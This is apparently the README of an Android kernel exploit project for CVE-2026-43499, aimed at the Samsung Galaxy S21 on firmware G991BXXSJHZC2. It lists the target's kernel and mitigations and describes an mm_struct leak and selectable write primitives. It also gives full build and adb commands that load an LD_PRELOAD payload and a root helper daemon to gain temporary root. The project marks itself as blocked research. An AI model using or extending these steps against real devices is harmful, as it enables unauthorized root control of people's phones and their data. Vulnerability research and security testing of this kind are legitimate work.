
삼성 Galaxy S21을 대상으로 한 CVE-2026-43499 익스플로잇 체인 연구
펌웨어 G991BXXSJHZC2를 실행하는 삼성 Galaxy S21(o1s)용
기기 전용 IonStack 페이로드. LD_PRELOAD 익스플로잇 +
call_usermodehelper 루트 헬퍼 데몬을 통해 휘발성 루트를 제공한다
(IonStack-S22U / IONSTACK-S22와 동일한 형태). 상태: 연구 — 차단됨, RESEARCH.md 참조.
| Field | Value |
|---|---|
| Model | SM-G991B |
| Device | o1s |
| Firmware | G991BXXSJHZC2 |
| Android | 12 / API 31 (AP3A.240905.015.A2, fingerprint samsung/o1sxeea/o1s) |
| Page size | 4096 |
| Kernel | 5.4.242-30958140-abG991BXXSJHZC2 |
| SoC | Exynos 2100 |
| Mitigations | CFI+PAC+PAN/UAO, KDP_CRED, SELinux enforcing, no userfaultfd |
NebuSec/CyberMeowfia에 공개된 IonStack CVE-2026-43499 구현
(업스트림 b850d3bddc74c3328d5fbcc0568d21962b55d949)과
BuSung-dev/CVE-2026-43499-S25U를 기반으로 하며, F-19-F/IonStackQuest3에
감사를 표한다. 업스트림 Apache License 2.0은 LICENSE에 유지된다(NOTICE 참조).
Makefile build (NDK r27+, ANDROID_NDK_HOME)
src/ exploit source (o1s profile only)
src/targets/o1s-G991BXXSJHZC2/ target.h + p0_fingerprint.h
src/kernelsnitch/ mm_struct leak (futex hash collision)
tools/ p0 fingerprint helper
RESEARCH.md research notes (geometry, verdicts)
export ANDROID_NDK_HOME=/path/to/android-ndk
make clean all
# SLIDE_WRITER_SEL=1|2|3 selects mcast/sigreturn(default)/xattr writers.
# Unset selects the experimental pselect writer (see RESEARCH.md).
출력물(build/o1s-G991BXXSJHZC2/):
cve-2026-43499 (LD_PRELOAD 페이로드), cve-2026-43499-app.so (앱 페이로드),
cve-2026-43499-root (루트 헬퍼).
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
# on success:
/adb shell "/data/local/tmp/cve-2026-43499-root -c 'id; getenforce'"
루트(획득 시)는 재부팅까지만 유지되며, 아무것도 플래시되지 않는다.
sched_setattr → rt_mutex_adjust_prio_chain → _raw_spin_trylock NULL 폴트):
8바이트 lock 필드가 조사된 어떤 블로킹 시스템 콜도 커버하지 못하는
copy-gap에 위치한다(RESEARCH.md의 시스템 콜별 디스어셈블리 검증 깊이 맵 참조).
Pipe-reclaim 게이트는 체계적으로 빗나간다(0/0)./data/local/tmp는 재부팅 시
초기화되므로, 부팅할 때마다 바이너리를 다시 푸시하라.